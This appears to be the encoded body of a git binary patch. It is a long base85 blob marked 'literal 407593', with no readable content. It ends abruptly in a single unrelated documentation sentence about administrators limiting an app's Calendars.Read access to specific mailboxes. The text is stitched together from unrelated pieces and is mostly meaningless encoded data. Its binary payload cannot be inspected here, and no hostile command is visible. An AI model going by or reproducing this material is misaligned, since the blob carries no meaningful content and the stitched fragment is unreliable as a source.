zheg%Wec>-L8_LfWRMsZq87fzi>F0E#aL!6$N>I6Z>7`|s-`}PQ~ZpXKn~SR121I{hM0*Iaj}TnWo8CtdzWRAHB-iMM_}g%OC%1JHShR3@A$Hx%KW7{cud7(XHXqTi zE@ZUo2@<7WQk2N{D~=F}OsOdSghOfZUD(H~CCAh)>wI5i_+JuVWX^?F<_OB!>(aW|;Qc{||=z#U=x3F~qaDSdCA6tMG9u=D&E%mhHoA<%9 zSC~hjA7e~bsCX+g;S+IY94)#&2@h5{0}cqi*C$3)CYgC}nR^8Zpi-*}cog(IP9NRe z9!bu9i)DSx5p>d~(|lE!p&)aJsJ;ph3GQEwMl8;4xMHl98pt}t;G`6hF%t~JFVxu1jkKu)th!&lptwI-tp%3 zeq@fyZz8r{FlWhmE{%X_FC_YHT`e;&5Dk!<(=9o^yyv;^O3nug@$gL65V41`1FQgh zs^WhEgXC3N6NL*DbBfG7l;>#+^!PRN zeO@oWP8D7;#vbYczNl9$j?i^x5Z7p8U9Z_Tw#?8qhJsnRCS|>@+sDSgyNbj`*9{KJ z+fav~WK%QS6gCeLs+<~aQ3DYi4MuE1XcObPMC zwKn-g9PdA{?%Pku;n1v5PI9nd%3RPJ-Q4_7Rv(JR+orHkHezIbe&jO|Rg()~=Mve0 z>#(Hax+|)or1;O-R}sp?PA;6{*P+fB#nTDN;_ou#!Dbaq3OT$6O3OU_DNw8w!Kv<8d>KQ$f5@TnK&Rj5Di1CNy8LR zhU2B}6OBvp9ywY!EpuVNS90CVSr22thEEd5RPfgrVYsHwYOptG>T@qH3lRn>0&)d- zQoh-Iqi8BQKIn+{b51fsu>^}t!dCP^ED`4Y3PkjMDtS^E07G- zbkcYauCM;D84H}xEI%y09g3yFKMq6rp+!2&_FqKv(Z4e9=mCGf`9Qo`CoWw7KOkRl As{jB1 literal 407593 zcma%jc|6o>`~PRgSjN6nw#lB#5@lx;p@^syVTz~_vW#ua3@v1hibzD+*Ce|cEu@6( z`%EeOz8hvfzv+3N@ArGob573hAMuj=y6$UvU+X=QmZyz5Sog950Kj2tVrT^bEc9=g zN?Dlb|7=>-3IhNFFf}wd8{jZI!qF{fV^7}NUOiQ#J$1Sh9>19&f9!iSLpc%Q>Vj^Y zuPglYsqpZ}C>TTl#(Vqg8Q-%y;_bNd`_ZZfNJ~S*W4yOxf`K!}(D~VE2>KE;8g1qU zHBiR;cABCo_1gnr5yhsbzVhZd>U@!%CpfX)3Qr8Bo!j_nz2SIhCv*c{skc}LV(gYw zBZ%uqUxyPr<)JJH9I(rmgXd9hZf<2x>D$Cg6ToC6f@L$Oe0cJ)3H!ig^XDJjNB{!+ z`!7UpM91e_+${0j2qdq=F({7v6M7E>6c6yJdqmt3O=opF_NTvn3tN@tWnI4W#QVq} z_(??|GaF@fKHTDzhP~H6%?m(hSvHwbF_`_0+hrf7xPC|d*U|k4Aqgxl+d8H!@%npt z0oy{B&Cfzsod@9Kaz9_F{D$p+^MuF4O!f-1ys5v)3r)e80AB7a6s}D%nNod(qPf(r z5^Ft=GsHKFbF=_Q55a*0Tw%1x22a=~pFt=4AMW*6u@hr?5eA5sG1)!HJh4;&*`fbk z+YqM@jj{WC`Tno)Cif%5kjmuK=1l!(-~f!uNMZ}yfl4bH{O|wxTP2}nq0-F0dJ$<4 z*-Mvx{hdg!HlEfd1QFWZA`qn)AiNB9aW}gXAx95Ga2bTM$M999^|V$Z&)*XIUp7n> zkyntWHIXfV$RnV1i~)pgClbJG+`H)z3E*Rd`oEb%QXjIEZo+V4BCB%!gr$XxvJtzP zEdob$hH9(rM@_W=QRYCuHy#V6CDsp33jYH!F{RRXywJxfETvU+Vtku&WWpHfIq(OO z#5l;z2&(=+Q-s z4s1dtkHL;<{}lgU82y7uC8q%`41Br?9Og{PPLjkzI^&9q`rbrG0`cgP&HB8Rl*vb@ zD*tM)f8-|?Xn`^)Msl2DNw$_G9;6?kKtG}bODy?z&75yoA|@sF4;25#N`hG8r8^i( zs{FzeAmi~Y%7IYg2^a{cFk{N$i_G5MD!Yj<{sj4L{uBG_DVYLK066q;&T>A72~)Bb z9Q6u@`@l?tQz}F4;LFSntyQACNdk#7hR2I`EL90TV^=;WNt~p61x32(5u6#Yk0{Z)`iE4n|Of68{6Nw`3gC=Ums zIA{wUMEyqEi-qsGO@iBLktv7N_x&Dph`fwVtk)F3x)iD`^uNH}k%dMtrR`CJpdJ{s ziV4#FMFOPQ|DeRCE21TTe+mH2f=Bbni+LQDLcbnMfC?tFEB~N~AB3R18^4P2(mlbG za9ODGv@wk>Y<@Rw;$Onq_gu11xg)+1OLv9~l0?fHHM&B-L-R$%H%XBY@Iz6f49&bT zc{jYkb8rhQuxPuc#8|NOe~Sc6`2azIfRPR&n9aN+RM9lPL<^*$B zmtQ2TW`I|ETSZ4pqanLnR2lS?1!sS*GwzNwbk$z9p3Vc$#}OP6v|^w|U644nJ#&Sj zcct^=9;M%NqV0g%hwqZn&1o;{r2LJ8{hz`P;u&Gi%>h?1VGT~v?Q>2`EdbjEw2GUg1_ZT^A7x}lCGoDNQ}<48 z-?dxZJFV?EZ~VUq{x=5;%9P>|HznGW0k3r0l?8j>!^GA;%gMbgCxK)?GWxl}P&G5v zmD>8!GviJ%$JA;S=dJ=n$}6v+N}L6sLoS=9?k~CMewY~DcjBX}kQ~se#a&klEIbXT zm4~)9sJFj;hWV5v=dp`p(2ao|p*)5x^?b9h@f+l|ZR({<^z+i|S2fYH^z#sPrQ`)s z2CzJ|;ls?8%k6=)LUPpI&x@8;9s|7hAvpNsq#yeomqcpK6;BMM0Lnw;#W3hwA2!O0 zSr?`{``UH8FCIqb&ynf7*r;+gv3L1xrPK0R%ojDyi~}g0qrI645W!6|5k7#0f5UFt z2j0~-uc;^>DCN({{UYwsnBFdFOaFDKwq!NR#o$M^H0+=(56Y#zB*0ir*Vq$EoDFLV z5@dsmw(nciPo1cYckNvj+K&&}0wc>7jSr>E+x#9GlrxBCW6=z48Vyq)zpP1LS;%Rr{ z&L2_Zze%)OqM|R%y7R)Ck_#vHSUh4^o-xElJ~QgFDGfMr5lVE%Uxk91Ha{lYUBAn3 za^q={InqIGmu~NNCPMisk$Y*dg^%HG^4ZT)2p(dpn96V_hx+GPY zM}w@8BnUGQo5rsE*$~H5KP3KT6%MGfhu(B1V+|+t8fiTD_AGw7QSIx^a9Y*FcGt+s z#FuP}IHyI>dna~ee?~jJFb9B$=@VP2KJs)8TB&y5j*k-u>IW327+?I z_r}0?;>dgX79}oUm@7$bVdh>u`on4$C!;5%t57Le{ScE_7gZh(QDI;U(9%B2gF^LX z8!MYbiP2$YB0QTC{i~3|fHmE|B7cZVCyz03-ze;A&(UEnZ z0eD9Ir+nJS(POaXtEVsR>LToilus;P(7DGGR>Ctzs-Gq(02z7!bi5M}lyWdmOH93a-2;4s9 z676~<)er~SxitQb50GVFOi2{e+SE5u)+|d?n@q2=3;x0}ST)qsVPU`7d(!vG>XyuO ztjqsJz`uTnw?f6EmTxyW!O{-YeS6#98E|WPLT*ljyoZZwb~l(6lGvTZiE@oa^}}#H z;q~T)$M4}1nQ45frr}MIwO=Hf5ix@nTGd$cM)};WJj`3g>#VzY68DAM$Yq@G+lyRc z5p8$1klYsroo@wSZ+`2l_8L6M3*k+D^7@?&5Y4?aXDfA_2~1>u#usGD&Q*m z?7}R9#mq;}F6sv&v>rTCL#E}{?x;w66kfZPD>vb&X{A0@GZZn?gn@||G)ezea{qJ9 zWHXfDgVq+8g*lDumUhY&2GAaO_*7?hLba(jfB*C;rlp=a)@_N^SMSe1>6;^L8()8i zVSwE^ZrOFZX;@+Yg6DsG}08d+e-6;!5N2#%;zxElhEbDrKpN5@C z$nX!ld27U(V=DV@;4$8~DggoSK4t4@VV252lzV?onAv!eb)a^dGHjvRtELS7k`pQj8UL@-0jRf)desQch zA66`tA@TmhhyRW@f22($L-`Ed5@Bz}lARl8VU1(OvI(t(f<)Y%#MZV+pRlV}+ch3o zq_6^}lI;+S?keBhP4`!TzlDftN3E-nX&9}guDAXC;e{#z)wkcLbW7)%tb)-S9|d-y zS=t4=%knDLMdO&7x~b(bVETPTHR51({YITk8jIjbUL^~Cse@_b12Uyk=|G1zUsT!2jw|SMv<1%jb71dAl^%zVrSm#&9<;1=Jj8tYDOAwc(_e-Q;2C4j3%^}vX zH#T3FO7D$d8WCKa>+vl~-DajHGQHa7LF=VU&!Bovb!wtxQ`mm*I`oM0lXaC-yd+1@ z5a_ou7v`APo*4C+>*u2MBbOsm^WVXLkN)eLbYN_d;a{N6u5rzp4 zXjNGxHA`Py494BljSBprNUI*{bNbTmp%BgdKi>J5yd6KlYRCk*YNtPAnBha6787pE zPLS8q8K?^?EO}$M-Rc@^3cw}&Hq{Z|_uP>K%=kA?iE+*Iu`8yVaYY$GK}=KE#Awg6 z4F`Q)PxbBCz~Yt!!JvI=!^30M>?)#zhP!#J73}&wt7y2MoH^&@6Mk-0+S^xsI+D;Y zHKeqMEFCLfo0PVQu6&OHzKL>TRK3p-=iKfUGc=< z-RRjblB#|zN2I-GF{}?bTNuEyv50yl|0HY}vwWaS7UPx_m4eC2sSUnoj@G&sbmF(y zL?96eLE(<+XeF`hZxc|#3AkI%{1*@Fk*uS|eQs|fA_1N;WwFc&(&D3tkPs>Xb?n|n zIY2r>EGa$#ajPK6S=yHq5B66ZGxr4RXtZ3&YVKLbNu_&&o;Q5hR7E@EyIy+i0{j=^ zams?4^U+Mg52YtZ4-iH7m_LsGd{5#?FH4`f1uP=Oo!Y?lb^>t1CEjCEcVml?&p!{8pYn^8POssg8!gY5g(M1zjBec1)X zln>w^LfZ3WWg`ODMQp=3YoLQ?+V@Gm9X`S-adxp^vTpn#3%3sGagV@K1f}R427M13 z3?;(8wnbFklCmm6y1pMye7wyytM6Of*tq_Yx$9^#StZ#*tHXHNd~b%SX=U$`=j|$0 z3^)JiSa?Gyg&=Ld?6|@glm6#)1Mdsn&yZi1bw9!sjqb_%`UV;D+J=nfp!eKZ#BDMx zmYpEbZFPx&#Y=YQPm!Ib9MA~|Y{y5R0?GzzYKNOHNlgkE#ymy8vIp_hd#y(_$l^;# zCio_EiW)|a_ej^)Bep=0#5Z*t3j#jw&wIuB(YX1Z5C_?JK6kfEoR(OUPU8DRQ} z$VBr(Chkp*&X6n-gli(e&EvNIc9pf^gkeMu%g((v75PPpB}7USUw6rtn$)x7Z-=@{ z3e+6G#h#ZGAC@1>h0U(HMl4_|#*k)?Um7#N9|w-4$i?7@IgEvsr)Ks1RTJk(-(*4TIhKC4d2@?=q+8 z4D{{z!@iXKbQ9QQpk;DXdX1$I@Mf1?sX&-GtMXK##wi{)fpFa z62{`I*kFz64cn?Wt3Ad@3UF#jlmT9_7Mx%fWXNiDVgiqkOOGxo!7O-Jxhe!=zt|7% zJN?Bm>SG%tNfl$7qB5Aq@ip5^>(br-itK;I+ z?8gcWLEB&>=Q+!CLewtZPt;{-)(N?vNB1@M#k&m|bKm0`Bxr~qYVZ;mbD-*P80#p0 zdo6=Ud#4ALzTG-vFS{r1s^n~Yo!m9OLs6$p4uWB??WQbv?KX_DVkN(+~lKY)wj++iEJoy0i5EM(Stq0c_s zK0S(Hdifo%`jGGQYaFZdcbInJ3c!2e$wapRp>?sy%pCj1;o|n0u6Qo9!8aNw4pn)n zL;_*e*S4jNp)A{n(<@d7{0{kS-I%(Ox3$v92UvYD%L=RNoLv3ns#r@iGH`_C&&ash zbd3sj zqP`(J$^?jD)j65j?N;+V986e>f_?}?tXbl*@Eqr7n$;-D59QY|u%J)Yni(|0|KR+Xdl-aD zHOjp0q%A)pr$sp<=JzI{FK+usJTrZdR=jb@cvUsZ?#i=)gG_CR-z!o03_=pn{63lB z|47nnTEx;f#tUAmUG{^aWjJLKwZv0-6+(@Dzx6zZXtVrnlu$#5euQBE@L)UE?m@itoY%;`*Pa0}6E8~+W z4Yh<5w+2UPUoB4DwM-?P+rKxOwU9MD^D7>!d(}X~-f4kduU&bObR;L_h_C)u83Qe? z_YhX|q^IO!9e>`hIV0XI8H08%Udv$?0vi|f&ALf zjmSWs)lAO6aBEBJRyBi7rdY3wYRNs;FLIzmgkG!PzP-WC%k!br-$-#k1OO}8Y9_Sg zZN_wbBetbVo1qim2==aPnMpg3_)Ld>zbP`}Q7m)|-PL=4;q_XG{(Gk>%1u+{+Ci2b zop`y@wIwBs^@B|kTDre)T$i%yaq@gh<@8S&kUkt8D0p0kvC8Q|Oc54NJ^kr1+oh;B z74$*DNDs8cD*;npq5_YkA0w{8pd}ZPp}e_QY)9xd>BxK=c{Lge+WSNfOp!*$ruu3nEA_jnCFW259VrQxc@jfk~0>XjT{2@bcq~U~SXzo?Hhr zGGTk_#N6t_P5(zih^lM#v$fCeZ4B+ZbljeFa7%vWac0xtkqAxfvyXvo*3P@k$kbR_ zph>AOs?lc z`={7xePL4`28-e^X|*Fm>F!<~j-{3_AmDtNc7a)yLkPB-^{#FxlF%G-bPB|w6n|?- z^ojw8Lwrnm)mIF>nLovC<0)=M4v`*fX_gi~XA>FX>OO*Lmf-1ViC5ssaBCC0nZ}gH zH&AT~&}VtljbGmgA-xbb>ay&iZHG5W(4%ogu*v{5fYRQsohkfWd_=V3L@lkCP1MQ8 z#~Py-@#SpdbI0F1nXKR>d&p@WJ@1V$ps1>7?T-D?Fw44;t3=^iisIgRGnPr#XgM>c zYa%`q-Nq)c$yd{A3s2v-nL(3vAP9v3dG@C#7(s1x7aG=F`>BU5985D^BB;_OXd0ydAv6qi z(+*wKI3MrL+Ptr9iq#7(z{R31o1s~b(BjE>_x7n{fw4{JJ7NzI(lr@!^g{|yF|$vk zY43@y1oqQcmejhnAsKEHzI_|}HRAWPziLz5RAS$8E9oU~-o}G%u03VKHDR>0IaiHW z0)4)Za=A#E0_#H+qfzZy&HLsMU;Pfx8K!;RZIdMeW(9*AiLKS;S|GZI{0x=PS9Ym! zmSts-imUyZp4Nu_Xc8XW-mA_-OtW#9L?&4zEllsLEbdiF1hkq5m+E;-KHv2Zq9^|x zoJ`CHcMST=!a;ld+#8RHY=dbcC|^q*;uX=#-xu+WKz<^}w$4Vmv8{K1ylYJ9Qv<0| z+}`KFE>+O17oP6miVY10UBy7@5Vqt6?l~XSw)9>xYlqg6Z)HH4DL~m%Ap`X-=1Blv zT@_CQI@E>th#nMRa&;Bhu_&9-ztW7oPsF;39A~03wh#1SI)ZptztLp4yF;5vD0+Hl zk2PSzh+pRE))V^GayrgBDKy;y7CC)f>N@(joE?X=K)a9o&Amxo#=f0l2exGeP~Y4f z)o5)*pXT}1H{f&YWcK(P1*DlIQMd=t>O)SH=PD%>Pc!@!gSeTJx-@%Zm7ZUl3miEcX9zJ_18+2E-Oug2=1~_Y@a9X_N+4Rt5&a`=PT(DXaq9H)W=F_Q zS{T8BVPfC42d91?80jr44LlKX%|xyYVliUuReDY%ZZLMc81BcEVRv%Xg5I}r>C;HV z7eFlGh)~e(EEJiJ%Fzh0GrC&aaAII0kFLTocdp^>d&8B(*iS@)Hlbrh{8rudgRPxO=h+Bm%F(HfF~mYKWV}l<~{72q*-8JE-E)Y zghPt(8xhXH))ElfV#*5{R1o!ji1X0Dk&!hWHZi7o9vWf0Qi)wnG${L$5v5D&$UweO zMrpY$>dP*c>@jQvU;Ly|E%Fy`f|F^qJoFY@?}-lEu6Fr#C6&et$5J`PYD=iS6??T1 z#k~ThJ>!^eIP~Q{1j~6JV>fjXjhEA7b9*GF_r(0oRN(v)!HCqJ#sMC$<>#O z&0)`9((bYD(2ay^^rzBAwlKHV8ZL)-Z~apng7?jYN`wh|Dm0qfvO zMQ=s1F?@1k>k1RM_x`{2hkt8)7QlC0bAp-Lyv4~2FU+VTJ}NwMnb3fSZK|{Y=G02c z5ntywJvt?Z0uWdvAPu>V@s^&cxaLhy?u!xEJ%Zk%3Pmo>)fH8|549uL962_R(ZZah z<@B#94K9(Ci?TEPT5p194X`bHc|SC23q?{jhA8HO!$KT7voakMHzNJg*LUqKcEWv` z^1A$F-1bXb4Rl`d9Y8y#hP?+`N}bRtwHrs)1>!9&%~W42AkmTleZKbQfa%LiE@2f{ z6@wGOTPt-ev= zuq)w@(_s6~m}iw`lifQs81X}IzWJ^9yk;BS!dyFy^g4%&y$@KQWl&Cc47R$1Wi*nz z=PUjVwV`gvi=3#rzSU_$P|RcnFvl1SAg3-9{fisHC4cI6y2(T_cvhRnhzFB1uzj{u zm+pnFjm=1Dd?abcw-MTG6GdtkI0>1bkJcH@|FL8CU&#`EacC8;*VKB%6x*3Q5rk{V zD7q$U-}sFampl#h-rUJvzY_`jFt<+tQd0n#JU_#gp#pzCb&};Kk-vF462MLqQR zu=DaMMZ63%9ee%vE2a27ED>nFc2r@)zKF2tguCba3@c^KIE5wmBWkp8hztoU0fdne zZr%_FYlgZ9@!~QvZ*TcU*smnWke&eCdzim8N$?XN!hDnV?pRnY6KK*_^P5~FWuCFJ zn+^tt@f!=_L}$)3L`^R|bJ2BIUd;R)W&4a;U-5~}-S*b}UlZd^S?Rz`MTRX17@CGB zLM0Et)M9nLC6S5NgZF`VXBoJ~;2pjX@j1r~mSke{K3R^q5m*gLF*s=)`G^O5j$0tt zV}P4~HkyStqxoi3Q23x?>t2SuGHs9{3=Az_zXg72+@O#w8mjNW7L2(l%sR)<0GEVk zxom6Q#*>4G<)l;I#e=T*$iW)U8?R$_X}jpcpkZ;kLD%cf@gwFYHDu)#8gdTYsM(vU zeXk$5*qFgBrkot|>bjZQ-4z+C? z*>3wQWdWA4mlY*9ES1j+`}&4w`LNQ|t%xi>hg-Nl%@8{PZ4k6XIE4 z4`bgA{A7uny=o_6lF^NDRr6HvlR3YA zz2#{zhToUq83u@>rRr!)Z+GjE=h&w2sF`X1JiiIQ{k%|UBIH;sON1%x8vCd1lM}(? zj>8L{IkmS8mVE0EiqZ2U2T#KOIEG2B!F{rD1Zoal-11oHnA5G6ISJ|ub>F?IbW7^y zgCWrliv-QZl622>GC?iEF&Z%$fXhaNc4f|rta@I|NH`*2ExU5__qVA3haL=`L!h64CDhC=f9@G8t~rT$=Vx)&5!@`Pbg^Z-Q7H<~@HBhI zLT-URImJuNq%WY+`UqcLfYDSnvi8a-!=Al6Nif>lwJ$2V0Y4%r-4b9V%P(PshH(rSj@t!Y=!Qc)&All{q8yrT0l$zcviDkX zpt2GGE$I63^H5=F2x^gxJyqIp;f%pm&~DI8D;8DUh%NYpOYI;R$d(Rnc+x_~+re_m z<^tGwI)GWl`1keVzpcPT9&r-dLDg)ACL7EI0kxrbaY`TOVyZ0yMUm6exCaHm1p$D* z4W0s>8(n)Gv;j(@X?>5_-X+_EgIn*H_@?U#OE>*#av?2W`FBZ&ehE|Clq^F6G1H5W zY`U|b*6byACIWX0p&3g~3XtSH!K+ZD*`gyCl0G%ES|oUwjgEi~BWq0;s2iJMn`(L-R==GF^}uzrVXg0VteNv3BRyT4xd#+nXtJyI2O|EHscN zv|$np6V`?kwL{x=iuP2@4oe({BV-}O5K;P?>-$FRh?6mtDE$%?c_scyZ0qzB>MTBZ z{7garLYfYlO(D+wy8lnzs1RBt+m zX%gQpZp72!$^JNa5PlkZq5ll<;bA!pXFfnBJ&Y%hd?-mW{X7r$r-3w;ez7Ng-Nopp zvlh{%N>wXdG)oL!*CBEZ*ksjz5Iu`De-+J>dT6Z`yFPb5Dvh2GKLUKE)_{7spcoL=HX zJ6_pU7AXMl4|;n;aTyJ`>d*CS%a6G*V^3z4f% z!KcWhJJ$ry{j&DEth5{bDu(_57E zpd6iao`UU61D}xzN9phZFEMTUr95M7+@X%+a>%B)%Ob3iuPdz3_M`8%6H|{`=;?^GoGmyu?nD{==9v z%x~3o;i%3mfGHo!{Scrx)k}oTNF$)R(-QN_3@Ph7Et!lxN*jCt^S_H62rY8Q={^pU zy#4j`yJBp)CokXv#yaEvf!x6p874pngQEYtN*QRC_PCqD+Q%^KGDk7WrE=w}G?IAYov|QN~8B?k}aR6gy}91I< zV_oHe%>|LS?qQ%?sw3?sR)0GQ#_-!|=zoe4{8g46G8Y&XLSH)#I!#BGa z&G0qf8D{Z^EnF3HeY{oaT5#kg2x=9E!;uM0Tq9KdbBlzEAK0Tj6Y}_3n~H;XZ^b+S zN~48jvi^Z23J$#r#fcY+TyUgT&uQRx1h-jdVhtYw#}eq%UC82>oRGU5rT~5ZBCNYv z(gWoMf|x;FYLCveZ%T zIk+(|>6!vTd(R&vd`r1flO+uafG!&mFbP22h6}*)5~d>&6UdLtg%Y{p0LKzFgaZZx z%Ri53fm=#N>G7T5DL8Ego&c2MDy5JA15MOEs1^hXUcfKhk%inAXYAn5T}Xu~(|vAV z7#P&3CJV50@3e1!R)yA_1ltd9E{Lb|fECnEGKn6D344TV4&5#J_T!h3t0-j3W4w--EI89QYU3bKgF|X!JnoXd>x)4-x zE$9>mQuYtluFXxPC~Pjs?nyRcrPCtXCG7hrTHJU^2$HLh!_5w|DBcWteGa;41Idlc zF6Sk37C}4oAsI(9J(CE1aWWs~!S0tJy`t?)_T1j^y!f#o?4NFeBMvj(qzILKwHx_- zIRS>!FVj2=xhDGVMs5roIQ|fn@Yx_}(rn-2RO8oSfDZvvF@~K^1C3-E>ClNaI=tH( zh+iK4SSnrym`rDshP*!y`Is~D;wVcTl*JtIk{5{+lD9GGQekN0y|LGrK!4%)W}Co5 z=}VA`7RB%TL>t=AQXuD6l?aqRO_Gr^`a|;k*KmwP&HwUYk!lC(K=cEyTcS9TL`UX# zbErzp8FyZsI!@1$7pdDv?0QhG3^N4`=)Ct+Noq`{Ti{{KlBXSk9c|b{mq=744w@@E zmAVIXcs;mTJu$c(n3`Thqt2;=%flp|=-;;^{=<@>q}P}mwqsOm0hVPg4e1VBce#O= zgJ+1(ip#^1$v}q0OMQHXW~t}ln-}x=pWWGK0$kf0UJ1p?Lr~eZV2%QHK~`3pi`JJQ zH7%)j$j20_&Sf(9eJD^ zict@F7k2a7JN3H`FTu2>nvve^g3N6nPTI_MI$r<(>Dq{n*ApjXAOWAIgC~+K>ek0j zL4{wlB7dj=-f#f&6HKbyCXEi3@BugA&?Xs|E62Lpu=QH2hhiQ<*rf~5D;qP|O5T0v zg}_gCFPYpsx$K)(;u5>%YHPMMwV z>g3I}CxlV;D9E$=_2?R}#bfJnv;n^moAvh5V5O7~o5H_)R`8z`Y8+lSeWZXD7@yy! z2bmixep1Ad3vl8{B%#JNA`95j-kNi*eW(Dm@BuEB+xoeySbErzC=jbE5%+bX<5gar zS1y?_kGcs5NL6-u3tAc7)*J2xMI*I6M#26C3aHoSqvY1vx?A!YJjz8wFfc$9vuO z8!;m8`Wrp2JuL*RRa)TA^$It)%E1bB<=`OUfYhK~#YrZOUVs{g(XymHsa6wr7b1R3^?v}*6K zEh?^Ajo0!*r4N>$1Qw}J?PP$bI)Sz$;766UymGr~k2nRt)QtG{RM@#i3CS&@i z1pNDR0ceT$y4A7N{eEkYg1bL3uNO8=G$H`Jxwi`C6<@S43H^iJjF{NCKXL_eFfGx}@o zvAJ#~gH|?|g1+7eIeeHZFCOwEx@LpsvDU=pm^V)^+HL?74bz2M>%+#~^9Ad9m?X!# zpa-9r11OVlKN_uTy2H~ke|?9e2XMA{T(G-wq`(}u!qo?s^e*$__I!I4w(`shJg?^7 zW()~<>;D}Fa13*Ah{!;YueTk!UcIDGJeI+-Mli%AFt`5kK@?-xoXoK62G(f`n=?z$ zd=r9eDg&OmeQ~SvIed%%etXVopra8~7put-58gcNxA^_s92k*4CU-i&L}#^>Qsz{f zAP1QwgYEhYp=(tK*7J@h%|;53`$o=oE$SFxbdgK}`x^H;n;7;S-jW@!@AbZofI*UdG!qk4Uf~24)Ru&o|@>-jY><)5}ou1>(-31b-(V{rTZSb+sNXfI!BehxK z;D=3LUZN`@z@dH|V_kGd(I4_1m~qX~_5nF6jL<#x?ZAE%Ef(V4`e z_4|G6Ur}Fa@xBe|0uy-840euCj7^mDsaZDeLjs@&I<;GyCno5_^^ zuZhzWadOw(d)~)kwt3cCbDo~Fad@2V3qHtl?QW)plu+)(IXrR3H9w<942Dt^D;5@I zOb4~89a%SKER=GOqc5er(A~T1b2#q)z<;I70q6nkW{BGSvU>lZ0>mtcAIF!hj{aun z)TTV^*YVnk;P1#eWp6lNvV9&>ssNO3>#HlFM^n$Swvx9M4m$3rF>S{9_r?S*ly!1G z&4Rq3w__IRcPCXTP(h!hn+0+qJ!7-W61t=K!POGl_~&Uki2*BYV1x1T0=p6dB|2!# zry;Yrb{*M;R;Xg2CeJr)yrAT9>7F0)b0oY7^KrzS*A01h#&2=PrUmx)l~@{s1IOam zcCj-_qqnLDS6h=X8Nu0Ab8!4FAj9~fF1vo5F!oLFQWTs2c z;>`$@UdJatidGW~%t2D8pciG-kDp0&c9H0vaBGZ7YW z`GNKH7}&12=Bd|N!b&Wg(8=spUC)i;6f>DdFXQPDqffHBr)MaDdr_*k+lDL4EH_>v zV6C8#?7u7xNKMyxm9Y~bj%YetA2FOsAHh$I5>H9Od%r-aZ<4mjZP5-cCm z`MFZC<|GGn^X_Bnr>5VSz^W|d@dA2YTW=_L3na4EXB{3vO*VbzcLM#|F**~|aPO35U7y(2gOc2+65T@oInx>Rx8Xp) z@1ys+A9;qlmn?bj-uWW7@psUhJ0TQ1!G~wh_r+dkCYVY z8JzRhwYbO#sNSEyII%vzc~|M!agl~;hP8}_k?i`^(ff;bLN)fB_1lE9!}PWkLHKez zJ)c*#mIibJ+uu;0eD*Jxp*NL|?+n+U1U3imDdo05jdG*5I0oBNSJ8U84NHRF~nYV3YtXD_wg8=J~* z|0;408_^;EzJvliV@4jAX2nR)5~|ju(!JJugL~~xL5YXaU~Mz3(B<+Y)?D_?lc07Z zHS-8*9?T@YO22!bv0}zIs~|LV&0|5B%DAL|>2*=)k42;D8F5uJV0(p2=f&tw$DXwo zRqxsjaNASoIqj#a#F;p7`ZAQf5i%7`sU!sFQL<{k$LecP&2zf*7Icc%v2)5-DHhZ< zsT<(Jto1gHM9nJU(E4qeEo_PE%b#Oocw^B;Z>tbbl9_J?z4UXzJbY=>HPxmG1Tv)LB+QJ$t1r=AX(GN=GIxN;fNV^3L5-bio% z&n`4#+f%hdD&OmG5fa4*a|j(fVDocl4PhiX5c3YOGm8eGZ^`L$?WszO63X$ zUrRKPYQr-w*R8KEH}|TLmIt)hk62;ng?O?I-4^OJ-9}f)kZ%Br53~g;cphm>qgbrW`xqonazaTHNK-Hc=S~2ORY% z5kW%?ay_6{7Yw%@_wiVz* zpfC(5;C>_U^(Y^F`3ZXU_OJjEwBN8 z=3%OYz)pLUvoyCeR*h-u;d+UA5UojhbBe4666!Ev~uc3!tAbUpS! zw_}J(F}1w!*_q~a>?Ql1&3EC^3-5Kg^1>@6&IT`tjkDY~U^36zy|Y-(9WYSfaE2?P zgrUy`H7Mflc@kQhz>t24S~F3X*EYI7WHRd9vt!vF-{|f4%~aB-yy!!KGZgJkdjPqp=^No z&y_vu^bgfppB+tGHS(oH_nM;(9B9|xE3~7;A2N5j!p*{#z&6oVz_+3IqBvy5DL5uB^*=uIfBO8>cmCP`%Jt6S zuyfqWFiW;)!3jW1G|~FEb_yvUv4dH(q_|511tU)Ffrfdmv*(4xPR^jm`%Pc! z`JEP{biAx@YW}jj;B;!J%UO0i*!C@rYJAf1rT5-G+M3Xo1$<-u?N&WOYZtk7u-T?tlwj(#WVmuml&5D|Z=N@2dYojf0Gk)KZK zaO$z&SUXUHoiAw5zvrou&lyTpc!2l@#9`+nYGxmQ?s=y4(mcdO%H+WAH}nyrn`S8L z$a@8%iwxvK?dFQx?8xfOc1kStqvyv3Rm5E_Rw5^{Z{jR_BWs_G4ij;0f6j0vEAmuG znI;7FX&K~c#Kv5;`JpZ{RlQAO|L#idZ`}HB@ZlkCfp4dedioKNu}xb#CxCNx2raAm z{;G#QVhvpU<}~eOOuxtiy+0}ZDUNDk+^w2^>%4tnAOVH>I{NR-cAk1A$0QA+Hxpn%C(}YF&s41C2z5W#rl%~hhbML`wD4l`@pAOmoSG?coL)Q1h$ZL2 zT)rDTxP~&`_$;TO%Y;bEmDAQRoYC(^%LW$!tLDH*rk^B6u}47sD|)iDN)UH9gwhvs zLHe9$!Q#e8&X4*FeU#|EWTHo}XHOe>8CfJ^R&Xy4+Ex#9^hOpu5bvHmKsl=Ib5q$FvS2iVT; z3t;GjjO=2l^12F8&j%zVfg3PvLE0KEZ6oNb8C?~02i&HuiLQA=dVN2yhR>d|8dm)^ zGHCWI$O1-vC&PkfzkSZ6PXQOf16;a=4ruqJnp(QIZX604nU=?;V@Ije-ZryQr+-zA zO8Nn|)J^7MD>NxRI|ZrI=HuvhUJSDoegk}zbmCvNXP#7Z_s@m;V{=;~CqboUPb;R~ z)_7Q24UxYTso*st1xFFHfTlud#{~!?{FTHd@1m_CgM5Jf90Wy27SBaTw2Q zN;X%F(tCX9vfh8^;y|+dyX3MXg)HL8Cs4kl{UR6mTn|X5HJaV2oAq zM*iJ1B6%*@#c!(9qe`9y>YSM%c-s+J`5Uo>nj<#hMh%%2gG=r7-!4ql4( znW*fEOq}S(7`NqFkjfqFscr9CKGD=;EF_q{c7|dLR4sIh6odY!xuhHVuK?t8fS}6t z)KUoJpRTnT%)Eb_@PlBqM|-zviLw-aA^46S6d@5$?+x$R`^U%uj>AsOD}8f!L>b92 zO3}w>a&RJRU1~L81jSc4HH7*a=&4T_ylyS2>*TxTn+P<~!43<HRqUPj5(L}S#&cU%Kr{I)!g&^@KQ?uJas?-B^X9iaW1KFX1r+geY_WuWW<0uMr**f z?o4i6)pd^D*zO0N+ylxa_>MI}nFAb5f3Mnp4uk0K!eIAoJWTPy34&k4q2J}+=Km

    Administrators can configure application access policy to limit app access to specific mailboxes and not to all the mailboxes in the organization, even if the app has been granted the Calendars.Read application permission.

